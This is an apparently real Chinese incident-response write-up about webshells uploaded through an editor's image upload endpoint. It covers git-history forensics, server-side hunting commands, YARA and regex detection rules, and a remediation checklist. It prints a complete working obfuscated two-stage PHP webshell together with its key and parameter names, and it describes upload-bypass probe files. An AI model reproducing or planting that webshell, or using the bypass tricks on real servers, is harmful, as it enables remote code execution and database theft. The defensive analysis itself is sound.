$ ~/posts/security-upload-malware-analysis
一次后台管理系统的“上传木马”排查实录:从一个 1.5KB 的 Webshell 说起
TL;DR 一次例行代码体检,最后挖出三类共 5 个恶意文件:一个 1566 字节的 XOR+
Chr()双重混淆 Webshell、两个 JPEG 改名的上传绕过试探文件、一个 481KB 的 Adminer 数据库管理工具;外加一段藏在 Git 提交历史里的加密后门。所有恶意代码都不在业务代码里,而是通过"文件上传"这条路径进来的。本文完整还原排查过程、样本逐行解密、攻击路径推断与修复清单,代码和 IOC 已脱敏。
0x00 起因:一个不该存在的 25MB 文件
安全排查的起点往往很偶然。这次是在看仓库体积时,发现 Git 历史里躺着一个 25MB 的二进制归档文件 app_master,而工作区里也没有任何代码引用它。
顺手查了一下引入它的提交:
ca92ed9c88f98ec6148798bccb168bd267bc6bcd
name <name@mail.com>
Mon Dec 29 16:42:24 2025 +0800
dnlasnd
11461 files changed, 7475 insertions(+), 1893654 deletions(-)
三个异常信号同时亮红灯:
- 提交者身份:
name <name@mail.com>——一个明显的占位符邮箱,与仓库其他提交者格式完全不同; - 提交信息:
dnlasnd,键盘乱敲; - 提交规模:11461 个文件变更,删除了 189 万行代码(包括大量第三方 SDK 与一个 MySQL binlog 回放日志),同时新增了 25MB 的
app_master和一个public/info.php。
正常的业务提交不会长这样。但真正值得警惕的是:这次提交里混入了大量看起来完全正常的业务代码(几十个后台 Controller、Action)。攻击者把 2 个恶意文件埋在上万个正常文件里——这是最典型的人肉代码审查绕过手法。如果你的评审习惯是"看 diff 太大就只抽查几屏",这个提交就会被滑过去。
0x01 方法论:三层排查
发现异常提交后,我把排查拆成三层,结论先行:
| 层 | 手段 | 结论 |
|---|---|---|
| Git 层 | 历史提交审计 | 1 个历史恶意提交(已回滚,但 blob 仍在) |
| 文件层 | 工作区+被忽略文件枚举 | 4 个未跟踪的恶意文件(真实威胁主体) |
| 代码层 | 全量正则特征扫描 | 业务代码 1392 个 PHP 文件 0 命中 |
这个顺序很重要:先查 Git 层可以快速判断"有没有人改过代码",再查文件层才能发现"有没有人放过文件"。这次的实际情况是——业务代码是干净的,恶意文件全部走的"文件层"。
以上三层针对代码仓库与工作区;生产服务器上的验证流程(确认木马是否还在、是否被复制到其他机器)见文末附录 B。
1.1 Git 层:抓"人"的异常比抓"代码"的异常更快
# 找出所有新增文件的提交
git log --diff-filter=A --summary
# pickaxe:定位某个可疑字符串在哪次提交被引入
git log -S "PHPJiaMi" --oneline
git log -S "eval(base64_decode" --oneline
-S 是这次最有效的命令。它不匹配 diff 内容,而是匹配"这个字符串出现次数发生变化的提交",所以哪怕文件经过混淆、只要特征串在任意版本出现过一次,就会被钉出来。
排查最近 30 个提交后确认:除 ca92ed9c 外,所有业务逻辑提交(活动筛选、数据导出、概率表单等)均为正常功能代码,无恶意 diff。
1.2 文件层:.gitignore 是木马最好的隐身衣
这里有一个很多人忽略的盲区:
/public/info.php
/public/uploads
/public/uploads 被忽略了。这意味着上传目录里的任何文件,永远不会出现在 git status 里,也永远不会被代码评审看到。 攻击者最喜欢往这里放东西——因为"工作区干净"是一个假象。
用枚举(而不是 git status)来验证:
Get-ChildItem -Recurse -File | Where-Object { $_.Extension -in '.php','.phtml','.php5','.pht' }
同时做时间戳三角比对——这是文件层最有力的取证手段:
| 文件 | 大小 | LastWriteTime(服务器原始时间) | CreationTime(本机拷入时间) |
|---|---|---|---|
11.php; |
428 B | 2025/09/24 20:42:26 | 2025/12/29 16:42:12 |
baf3c6f1bb499bdb3ce2f6b74be00bc8.php; |
428 B | 2025/09/24 20:42:36 | 2025/12/29 16:42:12 |
1751356353361722/index.php |
1566 B | 2025/09/29 17:24 | 2025/12/29 16:42:12 |
adminer.php |
493022 B | 2025/09/29 17:24:50 | 2025/12/29 16:42:12 |
两个信息被直接读出来了:
- 攻击发生在 2024 年 9 月(LastWriteTime 是服务器上的原始修改时间),而恶意提交发生在 12 月 29 日 16:42:24——与本机文件拷入时间
16:42:12仅差 12 秒。这强烈指向:那次恶意提交与这批上传木马来自同一台机器的同一次操作,即提交很可能是在已被入侵的服务器/开发机上发起的。 - 9 月 24 日的文件只是"试探",9 月 29 日才出现真正的载荷(Webshell + Adminer),符合"先探测上传绕过 → 成功后落地工具"的攻击节奏。
1.3 代码层:特征矩阵扫描
对 app/、config/、routes/、bootstrap/、database/、public/、storage/ 等目录做正则矩阵:
eval\s*\(|assert\s*\(|gzinflate|gzuncompress|str_rot13|preg_replace\s*\(.{0,10}/e
shell_exec|passthru|proc_open|popen|system\s*\(|exec\s*\(
base64_decode\s*\(\s*['"][A-Za-z0-9+/=]{100,}
chr\s*\(\s*['"]?\d+['"]?\s*\)\s*\.
curl_(exec|init)\s*\(\s*['"]https?://\d{1,3}\.
结果:1392 个 PHP 文件,恶意特征 0 命中。命中的少数 base64_decode(4 处)经人工核验均为配置项解密等正常用途;proc_open 全部来自 vendored 的 workerman(长连接组件);curl 目标均为配置文件里的支付/IM 网关。
阴性结论也是结论。它把问题域从"代码被投毒"收窄到了"文件被投放"——这决定了后面的修复方向是上传点加固,而不是全量代码回滚。
0x02 样本分析
2.1 样本 A:1566 字节的混淆 Webshell(重点)
落点:public/uploads/ueditor/image/20250701/1751356353361722/index.php
先说落点本身的信息量:ueditor/image/日期/随机数/ 是国内某富文本编辑器上传目录的标准结构,1751356353361722 是时间戳+随机数命名。这直接暴露了入口——ueditor 的图片上传接口。 攻击者没有清理痕迹,反而利用了上传组件自动生成的目录层级。
完整原文(1566 字节,共 36 行,为可读性做了折行):
WelCome You
<?pHP
@session_start();
@set_time_limit(Chr("48"));
@error_reporting/*SDUwOjSg*/(Chr("48"));
function eejEMPVR(/*mhupeihS*/$vOmKAvVG,$SSBxiTZa){
for($ENhneBuo=Chr("48");$ENhneBuo<strlen($vOmKAvVG);$ENhneBuo++) {
$XLwyFDAI = $SSBxiTZa[$ENhneBuo+Chr("49")&15];
$vOmKAvVG[$ENhneBuo] = $vOmKAvVG[$ENhneBuo]^$XLwyFDAI;
}
return $vOmKAvVG;
}
$UKBRgHHM = "bas"."e6".Chr("52")."_"."de"."cod".Chr("101");
$base64_eejEMPVR = "bas"."e6".Chr("52")."_e".Chr("110").Chr("99")."ode";
$kCgtEweB = $UKBRgHHM("QWExMjM0NTY=");
$RkOsJqjp='p'.$UKBRgHHM("YXlsb2Fk");
$RvqvIvmv='9e0a7f52'.$UKBRgHHM("M2E3Y2NjNDM=");
if (isset($_POST/*jIjCCISo*/[$kCgtEweB])){
$datWOdTXTXU=eejEMPVR/*KFGvfXTU*/($UKBRgHHM($_POST[$kCgtEweB]),$RvqvIvmv);
if (/*etIIgnKx*/isset($_SESSION/*kdhlzvzG*/[$RkOsJqjp])){
$bYUrxkyK=eejEMPVR($_SESSION/*zPikUtyN*/[$RkOsJqjp],$RvqvIvmv);
if (/*LaRqxBlE*/strpos($bYUrxkyK,$UKBRgHHM/*aAvwuFdk*/("Z2V0QmFzaWNzSW5mbw=="))===false){
$bYUrxkyK=eejEMPVR/*mjjzkNEj*/($bYUrxkyK,$RvqvIvmv);
}
define("fJnlBRwc","//iHyOLbzT\r\n".$bYUrxkyK);
eval("/*pass-DP@i*/".fJnlBRwc."");
echo substr(/*bNSBLBno*/md5/*iFkGwXwz*/($kCgtEweB.$RvqvIvmv),Chr("48"),16);
echo $base64_eejEMPVR(eejEMPVR(@run($datWOdTXTXU),$RvqvIvmv));
echo substr(/*UShEPXco*/md5/*vEETGndB*/($kCgtEweB.$RvqvIvmv),16);
}else{
if (strpos/*OsvPqHWl*/($datWOdTXTXU,$UKBRgHHM("Z2V0QmFzaWNzSW5mbw=="))!==false){
$_SESSION[$RkOsJqjp]=eejEMPVR($datWOdTXTXU,$RvqvIvmv);
}
}
}
?>
逐段解密。混淆一共用了五种手法,逐个拆:
① Chr() 拼接函数名
$UKBRgHHM = "bas"."e6".Chr("52")."_"."de"."cod".Chr("101");
Chr("52") = '4',Chr("101") = 'e',拼起来就是 base64_decode。同理 $base64_eejEMPVR = base64_encode。用 chr() 而不是直接写字符串,是为了绕过静态扫描器对 base64_decode、eval 等敏感函数名的字面量匹配。
② XOR 密钥也藏在 base64 里
$kCgtEweB = $UKBRgHHM("QWExMjM0NTY="); // "Aa123456" → POST 参数名
$RkOsJqjp = 'p'.$UKBRgHHM("YXlsb2Fk"); // "payload" → $_SESSION['payload']
$RvqvIvmv = '9e0a7f52'.$UKBRgHHM("M2E3Y2NjNDM="); // → "9e0a7f523a7ccc43",16 字节 XOR 密钥
POST 参数名是 Aa123456,会话键是 payload,XOR 密钥是 9e0a7f523a7ccc43。
③ XOR 循环里的一个隐蔽细节
$XLwyFDAI = $SSBxiTZa[$ENhneBuo + Chr("49") & 15];
PHP 里 + 优先级高于 &,所以这句实际是 $key[($i + 1) & 15]——密钥取位整体错位一位,并对 16 取模循环。也就是说它不是简单的"明文 XOR 密钥",而是 XOR 密钥的旋转版本。如果你写解密脚本时按标准 XOR 写,前 16 字节会全是乱码。这种"故意留一个语义陷阱"的手法,在实战样本里非常常见。
④ 垃圾注释打断特征串
$_POST/*jIjCCISo*/[$kCgtEweB]
@error_reporting/*SDUwOjSg*/(Chr("48"))
函数名与括号/方括号之间插入随机字符串注释。这能精确打断 $_POST[、error_reporting( 这类签名匹配,但 PHP 解析器完全无视注释——代码功能零损耗。/*...*/ 内容是随机的,每个样本都不同,所以这也是每个样本的唯一特征串,可以用来做同源归因。
⑤ 大小写混合 + 明文头部
WelCome You
<?pHP
<?pHP 混淆大小写;文件第一行还有一段 PHP 标签之前的明文 WelCome You,它会被原样输出到 HTTP 响应体最前面——这既是作者的"签名",也是攻击者的存活探针:请求这个文件,只要响应体以 WelCome You 开头,就说明 PHP 解析生效了。
还原后的逻辑
session_start();
define('POST_FIELD', 'Aa123456'); // 入参字段名
define('SESS_KEY', 'payload'); // 会话键
define('XOR_KEY', '9e0a7f523a7ccc43'); // 16 字节密钥(注意实际使用时旋转了 1 位)
function xor_decrypt($data, $key) {
for ($i = 0; $i < strlen($data); $i++)
$data[$i] = $data[$i] ^ $key[($i + 1) & 15];
return $data;
}
$cmd = xor_decrypt(base64_decode($_POST[POST_FIELD]), XOR_KEY);
if (isset($_SESSION[SESS_KEY])) { // —— 阶段二:执行
$loader = xor_decrypt($_SESSION[SESS_KEY], XOR_KEY);
if (strpos($loader, 'getBasicInfo') === false)
$loader = xor_decrypt($loader, XOR_KEY); // 容错:二次解密
eval($loader); // eval 出 run() 函数定义
echo substr(md5(POST_FIELD . XOR_KEY), 0, 16); // 帧头
echo base64_encode(xor_decrypt(run($cmd), XOR_KEY)); // 真正的执行结果
echo substr(md5(POST_FIELD . XOR_KEY), 16); // 帧尾
} else { // —— 阶段一:装载
if (strpos($cmd, 'getBasicInfo') !== false)
$_SESSION[SESS_KEY] = xor_decrypt($cmd, XOR_KEY);
}
这是一个两阶段(stager)设计,非常值得注意:
- 阶段一(装载):POST 一段包含
getBasicInfo标记的 PHP 代码,服务端解密后存进$_SESSION['payload'],不执行; - 阶段二(执行):再 POST 任意命令,服务端从会话取出装载代码
eval(此时run()函数被定义出来),然后调用run($cmd)执行真正的命令,结果 XOR+base64 编码后返回。
为什么要这么绕?两个目的:
- 磁盘零残留。核心 payload 存在会话里(内存/redis),服务器上永远只有一个 1.5KB 的"空壳",文件内容里不包含任何实际攻击代码,杀软和 Webshell 扫描器翻遍这个文件也找不到可判定的恶意特征。
- 输出混淆。返回值用
md5的前 16 位和后 16 位做帧头帧尾,方便客户端脚本从一堆业务错误信息里把结果摘出来。
顺带一提,$loader 里那句 strpos($code, 'getBasicInfo') === false 就是自校验:只有解密结果里含 getBasicInfo 才认为密钥正确,否则再解一次。这是在防止攻击者自己用错密钥导致 eval 出乱码把 PHP 进程打崩。
2.2 样本 B:428 字节的 JPEG 改名试探
public/uploads/images/ 下有两个文件,真实文件名是:
11.php;
baf3c6f1bb499bdb3ce2f6b74be00bc8.php;
注意结尾——文件名以**全角分号 ;(U+FF1B,码点 65307)**结尾,不是半角 ;。魔数校验:
11.php; magic = FF D8 FF E0
baf3c6f1bb...bc8.php; magic = FF D8 FF E0
FF D8 FF E0 是标准 JPEG(JFIF)头。两个文件都是真图片,只是被改成了 .php 后缀。
这说明什么?它们根本不是载荷,而是"探针"。 428 字节的图片加 .php 后缀,如果服务器执行它,只会输出一堆 JPEG 乱码;攻击者要验证的是"上传后的文件能否被当作 PHP 执行",而不是真的要用它做事。全角分号更是典型的解析漏洞试探:在某些 Apache/Nginx + Windows 的配置下,xxx.php;xxx.jpg 这类构造会因为 URL 解析与文件系统解析不一致而只取 .php 部分执行(类似 %00 截断的变体)。baf3c6f1... 这个 32 位十六进制串则是常见 CMS/上传组件生成的文件名格式——说明攻击者可能同时在试探多个上传接口。
时间线上它们出现在 9 月 24 日,比 9 月 29 日的 Webshell 早 5 天。先探针、后载荷,节奏吻合。
2.3 样本 C:481KB 的 Adminer
public/uploads/ueditor/image/20250701/adminer.php,493022 字节,文件头:
/** Adminer - Compact database management
* @link https://www.adminer.org/
* @version 5.2.1
开源数据库管理工具 Adminer。单文件、免安装、支持 MySQL/PostgreSQL/SQLite、带导入导出——它是攻击者最爱的"二次入口":一旦拿到 Webshell,下一步就是把 Adminer 丢到 web 目录里,用浏览器可视化地拖库,比命令行 mysqldump 舒服得多。
它也暴露了攻击者的意图是数据窃取,而不只是留个后门。同时它还构成一条持久化通道:即使你删了 Webshell,只要这个文件还在,攻击者知道 URL 就能随时连数据库。
值得强调的是:它能被放进 uploads 目录并存活 3 个月(9 月 29 日 → 12 月 29 日),恰恰印证了那句老话——上传目录禁止执行,比任何 WAF 都便宜且有效。
2.4 附:Git 历史里的"加密后门"
git show ca92ed9c:public/info.php 可以把历史里的后门取出来,头部:
<?php /* PHP Encode by https://Www.PHPJiaMi.Com/ */
error_reporting(0); ini_set("display_errors", 0);
if(!defined('dacqtlyw')){ define('dacqtlyw',__FILE__);
if(!function_exists("<乱码>")){ function "<乱码>"(...){
这是国内某在线 PHP 加密平台(PHPJiaMi)的产物:变量名被打成 GBK 乱码,函数体全部加密,运行时解密执行。它已经由 b4fb54d2 删除病毒文件 和 3299108c 忽略病毒文件 两次提交从 HEAD 移除,并加入 .gitignore——但这是"删了",不是"没了",下一节展开。
0x03 攻击路径推断
把所有证据拼起来,完整链条是这样的:
[入口] ueditor 图片上传接口(无后缀/类型校验)
↓ 09/24 JPEG + .php;双后缀试探解析规则
[验证] 确认 uploads 目录可被 PHP 解析
↓ 09/29 落地 index.php(两阶段 Webshell)+ adminer.php
[驻留] uploads 目录被 .gitignore,永不进入代码评审
↓ 12/29 在已被入侵的机器上发起提交 ca92ed9c
[扩散] 木马 + 25MB 归档 + 加密后门 info.php 混入 11461 个文件推送远端
根因只有一个:上传目录没有禁止执行 PHP。 其余所有问题(.gitignore 掩盖、提交被冲进远端)都是这个根因的下游后果。
补充一个判断:业务代码全量扫描 0 命中,说明攻击者没有改过任何业务逻辑,也没有植入供应链级后门。他的目标非常明确——数据。这在安全定性上属于"入侵成功但损害有限",但仍必须按最坏情况处理(见修复清单的凭据轮换项)。
0x04 "删了但没真删":Git 历史里的幽灵
这是很多团队的共同误区。b4fb54d2 把 public/info.php 从代码里删掉了,工作区干净了,git status 干净了——但那个恶意 blob 还完整地躺在 .git/objects/ 里:
# 任何人 clone 仓库后,一行命令即可取回木马
git show ca92ed9c:public/info.php
# 甚至可以整棵检出当时的完整快照
git checkout ca92ed9c
Git 是内容寻址的快照系统,删除只是在新快照里不再引用,旧对象要等 GC 且未被任何引用触达时才会真正清除。只要恶意提交还在被任何分支/tag 引用的历史里,它就永远可取回。
正确做法是改写历史:
pip install git-filter-repo
git filter-repo --path public/info.php --invert-paths
git filter-repo --path app_master --invert-paths
# 然后强推远端,并让所有协作者重新 clone(而非 pull)
⚠️ 改写历史会变更所有提交的 SHA,且
pull无法收敛,必须全员重新 clone。所以改写历史要和密钥轮换同步做——历史里取回的不只是木马,还有你.env里那些从未变过的密钥。
本次排查中,仓库 .env 里保存的是真实生产凭据(MySQL root 密码、Redis 密码、对象存储 SecretId/SecretKey、IM 与支付密钥),且 APP_DEBUG=true。既然仓库曾被入侵且历史可回溯,这些凭据必须视为已泄露并全部轮换,同时将 APP_DEBUG 置为 false(调试模式会把 .env 片段、SQL 语句、堆栈信息回显到 HTTP 响应里,是信息泄露的重灾区)。
0x05 修复清单(按优先级)
P0 — 立即执行
- 删除 4 个恶意文件(4 个文件全部删除即可,无需保留取证副本,磁盘上已无价值);
- 轮换全部凭据:数据库、Redis、对象存储、IM、支付网关、
.env中的APP_KEY; APP_DEBUG=false。
P1 — 上传点根治(真正堵住根因)
上传目录禁止执行 PHP:
# Nginx:uploads 目录下任何 PHP 都不解析
location ~* ^/uploads/.*\.(php|phtml|php5|pht|phar)$ {
deny all;
}
# Apache:.htaccess
<Directory "/path/to/public/uploads">
php_flag engine off
</Directory>
更彻底的做法是让上传文件根本不落在 Web 可访问目录——转存到对象存储(OSS/COS)的私有桶,通过带签名的临时 URL 访问。这样连"上传目录被访问"这件事都不存在。
P2 — 上传接口自身加固
- 扩展名白名单(只允许
jpg/jpeg/png/gif/webp),拒绝一切黑名单式的"过滤 php"; - 服务端用
finfo_file()读魔数校验 MIME,与扩展名交叉验证(防本次的 JPEG 改.php); - 随机重命名,不要保留原始文件名与 ueditor 自动生成的时间戳目录(本次
ueditor/image/20250701/1751356353361722/的目录结构就是攻击者的路标); - 上传目录归属独立域名(
upload.example.com),主站即使被上传也无法在同一域名下执行。
P3 — 流程与自动化
- CI 集成扫描:
gitleaks(密钥泄露)+ 自定义正则(eval(base64_decode、chr()连接、<?pHP大小写混淆等)作为 MR 合并门禁; - 预提交钩子:拦截
.php出现在public/uploads路径下; - 提交异常告警:对"提交者邮箱不在白名单 / 变更文件数 > 500 / 删除行数 > 10 万"的提交强制人工复核——本次那个 11461 文件、189 万删除行的提交,只要有一条这样的规则就会被拦下。
P4 — 善后
git filter-repo清除历史中的public/info.php与app_master,全员重新 clone;- 检查所有 clone 过该仓库的开发机与 CI Runner 是否也存在
public/uploads下的木马副本(本次排查中,恶意文件的本机创建时间与提交时间仅差 12 秒,说明入侵机器不止一台)。
0x06 复盘:三条最有价值的经验
1. "工作区干净"不等于"没有木马"。 .gitignore 会让 git status 对上传目录完全失明。安全排查必须用文件系统枚举,而不是 VCS 视图。
2. 扫"人"比扫"代码"快。 占位符邮箱、乱码提交信息、超大变更规模——这三个元数据特征的信噪比,远高于在几十万行 PHP 里匹配 eval。本次真正定位到恶意提交的,不是正则,是那行 name <name@mail.com>。
3. 混淆的尽头是"扫描器免疫",但不是"分析免疫"。 这个 1566 字节的样本用了 chr() 拼接、垃圾注释、大小写混合、XOR 密钥旋转、两阶段免落盘五种手法,静态特征匹配确实全部失效。但只要把它跑一遍、逐行还原,所有逻辑依然清晰。对抗混淆靠的不是更强的正则,而是愿意打开文件从第一行读起。
附录 A:IOC
| 项目 | 值 |
|---|---|
| Webshell 文件大小 | 1566 字节(36 行) |
| Webshell 头部特征 | WelCome You + <?pHP |
| Webshell XOR 密钥 | 9e0a7f523a7ccc43(使用时旋转 1 位:key[($i+1)&15]) |
| Webshell POST 字段名 | Aa123456 |
| Webshell 会话键 | payload |
| Webshell 载荷标记 | getBasicInfo |
| Webshell 输出帧头/帧尾 | substr(md5($field.$key),0,16) / [16] |
| 加密平台特征 | PHP Encode by https://Www.PHPJiaMi.Com/ |
| 工具型后门 | Adminer 5.2.1(493022 字节) |
| 上传探针特征 | JPEG 魔数 FF D8 FF E0 + 文件名以全角分号 ;(U+FF1B) 结尾 |
| 敏感目录特征 | public/uploads/ueditor/image/<date>/<timestamp-random>/ |
全文域名、仓库地址、IP、数据库/对象存储/支付凭据、业务模块名称均已脱敏处理;样本中的密钥与特征串为公开木马签名,保留以供检测规则引用。
附录 B:服务器侧恶意文件排查手册(命令可直接执行)
前文所有排查发生在代码仓库与工作区。但仓库干净 ≠ 生产环境干净:上传目录被
.gitignore掩盖,木马可能从未进入版本库,却真实存在于服务器磁盘上。本附录回答"生产服务器上现在还有没有、曾经发生过什么"。假设 Linux + root/SSH 权限;命令中的
/var/www请替换为你的实际 Web 根目录(用 B.0 的方法先找出来)。全盘扫描有一定 IO 开销,建议选业务低峰期执行。
B.0 先定位战场(5 分钟)
不要盲目扫全盘,先确定"哪些目录需要扫":
# Web 根目录在哪(比 find / 更准)
nginx -T 2>/dev/null | grep -E '^\s*root|server_name'
grep -rE 'DocumentRoot|<Directory' /etc/httpd /etc/apache2 2>/dev/null
# 机器上都跑了什么端口(发现意外的反代/后门监听)
ss -tunlp
# PHP-FPM pool 配置(每个 pool 的 web root 不一定相同)
grep -rE '^\s*(listen|user|chdir)' /etc/php*/fpm/pool.d/
把结果里的 Web 根目录记下来,下面所有命令统一替换。
B.1 时间窗口扫描——用已知入侵日期切片
本文样本已经给出确切的攻击时间点:9/24(探针)、9/29(Webshell + Adminer)、12/29(扩散)。按时间切片比全盘特征扫描高效得多:
find /var/www -xdev \
\( -path '*/vendor/*' -o -path '*/node_modules/*' -o -path '*/storage/framework/*' \) -prune -o \
-type f \( -newermt '2025-09-15' ! -newermt '2025-10-15' -o \
-newermt '2025-12-20' ! -newermt '2026-01-05' \) -print
把入侵窗口放宽几天(±1 周),避免因时区差异或文件搬运漏掉。
B.2 时间戳三角比对——抓"改过时间"的文件
touch -d 修改 mtime 时,ctime(inode 变更时间)会变成当前时间,攻击者无法同时伪造两者。ctime 明显晚于 mtime 的文件即为高危:
find /var/www /tmp /dev/shm -xdev -type f -printf '%C@ %T@ %p\n' \
| awk '$1 - $2 > 86400 {print $3}'
/tmp 和 /dev/shm 必须一起扫:它们可执行,常被 Webshell 用来做无文件驻留。
B.3 基线比对——命中率最高的一招
盲扫靠特征命中率,基线比对靠"线上多出了什么",后者几乎不会漏。只要手上有可信的发布产物(git tag、CI artifact、部署前备份),就能直接列出线上与代码库的全部差异:
# 方法 A:拿一份干净代码,rsync dry-run 对比
cd /tmp && git clone -b <线上对应tag> --depth=1 <仓库地址> clean
rsync -nrc --itemize-changes --delete \
--exclude='.env' --exclude='storage/' --exclude='public/uploads/' --exclude='.git' \
/tmp/clean/ /var/www/current/ | grep -E '^\*deleting|[>f].*\.(php|phtml|phar)$'
# ↑ 输出里的 "deleting" 就是线上存在但代码库没有的文件 = 最可疑的
# 方法 B:没有干净副本时,先导出现网 PHP 文件清单待人工核对
find /var/www -name '*.php' -not -path '*/vendor/*' -exec sha256sum {} + | sort -k2 > /tmp/live.sha256
B.4 文件名特征枚举——复用附录 A 的 IOC
# 上传目录下的任何 PHP 系文件(本次事件的根因目录)
find /var/www -type f -ipath '*upload*' \
\( -iname '*.php' -o -iname '*.phtml' -o -iname '*.php5' -o -iname '*.pht' -o -iname '*.phar' \)
# 双扩展名(jpg.php / php;.jpg 之类)
find /var/www -type f -regextype posix-extended -iregex '.*\.(jpg|jpeg|png|gif|webp)\..*'
# 隐藏文件(Webshell 常命名成 .index.php 之类)
find /var/www /tmp /dev/shm -name '.*' -type f -size -1M
# 上传目录里体积异常小的"图片"(本次探针仅 428 字节)
find /var/www -ipath '*upload*' -type f \( -iname '*.jpg' -o -iname '*.png' \) -size -2k
# 文件名带全角字符/不可见字符(本次探针就是全角分号结尾)
find /var/www -type f | grep -P '[\x{FF00}-\x{FFEF}\x00-\x1F]'
B.5 内容扫描——三层互补
| 工具 | 作用 | 定位 |
|---|---|---|
| ClamAV | 通用恶意软件库 | 兜底,对定制 Webshell 检出率一般 |
| YARA | Webshell 专用规则 | 主力,可用附录 A 的 IOC 写自定义规则 |
| ripgrep | 精确正则 | 快、可控,适合接进 CI |
freshclam && clamscan -r --infected --move=/root/quarantine /var/www /tmp /dev/shm
自定义 YARA 规则(覆盖本文三个样本的特征,存为 webshell.yar):
rule php_upload_webshell {
strings:
$a = "WelCome You" ascii
$b = "PHP Encode by" ascii
$c = "getBasicInfo" ascii
$d = /chr\s*\(\s*["']?\d+["']?\s*\)\s*\.\s*["']de["']/ ascii
$e = "auto_prepend_file" ascii
condition: 2 of them or ($a and $d)
}
yara -r /path/to/webshell.yar /var/www
# ripgrep 特征矩阵(--glob 排除 vendor)
rg -n --glob '!vendor/**' --glob '!storage/framework/**' \
-e 'eval\s*\(\s*["'"'"']?(base64_decode|gzinflate|str_rot13)' \
-e 'assert\s*\(\s*\$_(POST|GET|REQUEST)' \
-e 'preg_replace\s*\(.{0,20}/[a-z]*e[a-z]*["'"'"']' \
-e 'base64_decode\s*\(\s*["'"'"'][A-Za-z0-9+/=]{200,}' \
-e 'shell_exec|passthru|proc_open' \
/var/www
B.6 持久化通道检查——删了 Webshell 不代表完事
入侵者常留"第二把钥匙",这些通道比单个 Webshell 更隐蔽:
# 计划任务(最常见持久化,覆盖所有用户)
for u in $(cut -f1 -d: /etc/passwd); do
crontab -u $u -l 2>/dev/null | grep -v '^#' | sed "s/^/$u: /"
done
ls -la /etc/cron.d/ /var/spool/cron/ /etc/cron.*/ 2>/dev/null
systemctl list-timers --all | head -20
# 异常服务与被改的服务文件
systemctl list-units --type=service --state=running
find /etc/systemd/system /usr/lib/systemd/system -mtime -90 -type f
# SSH 后门
for f in /root/.ssh/authorized_keys /home/*/.ssh/authorized_keys; do
echo "== $f"; cat "$f" 2>/dev/null
done
# 环境级劫持(ld.so.preload 非空 = 极可能 rootkit)
cat /etc/ld.so.preload 2>/dev/null
ls -la /etc/ld.so.preload /etc/profile.d/*.sh ~/.bashrc ~/.bash_profile 2>/dev/null
# PHP 配置级后门(auto_prepend 会让所有页面带毒,比 Webshell 更隐蔽)
for bin in php php8.1 php8.2 php8.3; do
command -v $bin >/dev/null && \
$bin -i 2>/dev/null | grep -iE 'auto_prepend_file|auto_append_file|disable_functions|open_basedir'
done
grep -rn -iE 'auto_prepend|auto_append' /etc/php* /usr/local/php* 2>/dev/null
# Web 服务器配置里的异常 location / 反代
nginx -T 2>/dev/null | grep -E 'location|proxy_pass|alias|root'
B.7 日志回放——回答"什么时候进来的、有没有带走数据"
# 上传目录被访问 PHP 的记录(本文事件的核心证据)
awk '$9==200 && $7 ~ /uploads\/.*\.(php|phtml)/' /var/log/nginx/access.log* \
| awk '{print $4,$7}' | sort | uniq -c | sort -rn | head -30
# ueditor 上传接口的调用(入口)
grep -E 'POST .*(ueditor|upload|imageUp|catchimage)' /var/log/nginx/access.log* | head -50
# 按已知入侵日期重点回放(2025-09-24 / 09-29 / 12-29)
zgrep -h '2025-09-2[4-9]\|2025-12-29' /var/log/nginx/access.log* \
| grep -E '\.(php|phtml)' | awk '$9!=404'
# SSH 登录与暴力破解
last -a | head -30
lastb 2>/dev/null | awk '{print $1}' | sort | uniq -c | sort -rn | head
grep 'Accepted' /var/log/secure /var/log/auth.log 2>/dev/null | tail -30
# 数据库账号(Adminer 拖库的旁证)
mysql -e "SELECT user,host FROM mysql.user;"
再查后台管理账号表,看 9 月以来有无新增账号或异常登录 IP——Adminer 的存在意味着攻击者有能力直接操作数据库。
B.8 判定与处置
发现可疑文件
│
├─ 在代码库/发布包里存在吗?──是──> 比对哈希:一致=正常文件;不一致=被篡改,高危
│ 否
│ ↓
├─ 位于 Web 可访问目录?──是──> 立即隔离取证(cp 到 /root/quarantine + sha256sum)
│ 否 ──> 列入观察清单,检查是否被 cron/systemd 引用
│ ↓
├─ 服务器配置被改过?
│ (auto_prepend / ld.so.preload / nginx location / cron)
│ 是 ──> 直接判定"确认入侵",走重建流程
│ 否 ──> 仅清除文件,但仍需 B.7 日志回放确认影响面
│ ↓
└─ 确认入侵 → ①封源 IP ②取证留存 ③轮换全部凭据
④用干净副本重建 ⑤上传目录禁止执行 ⑥部署文件完整性监控
处置三原则:
- 先隔离再删除。可疑文件
cp到/root/quarantine/并记录sha256sum,保留取证价值(分析 C2、横向移动线索),再从 Web 目录清除。 - 不要试图"只删木马文件"了事。你不知道有没有第二个。确认入侵后按"重建"而非"清杀"处理:干净代码副本 + 全部凭据轮换。
- 深度可疑时考虑重装。出现 rootkit 迹象(
ld.so.preload异常、异常内核模块)时,先跑rkhunter --check/lynis audit system,仍不能排除则直接重装系统 + 从备份恢复数据。
B.9 工具速查
| 目的 | 首选 | 备选 |
|---|---|---|
| 线上 vs 代码库差异 | rsync -nrc 基线比对 |
sha256sum 清单 |
| Webshell 内容检测 | YARA(webshell 规则集) | ClamAV、ripgrep 正则矩阵 |
| 主机审计 / 长期监控 | LinPEAS(信息收集)、AIDE(文件完整性) | lynis、rkhunter、OSSEC |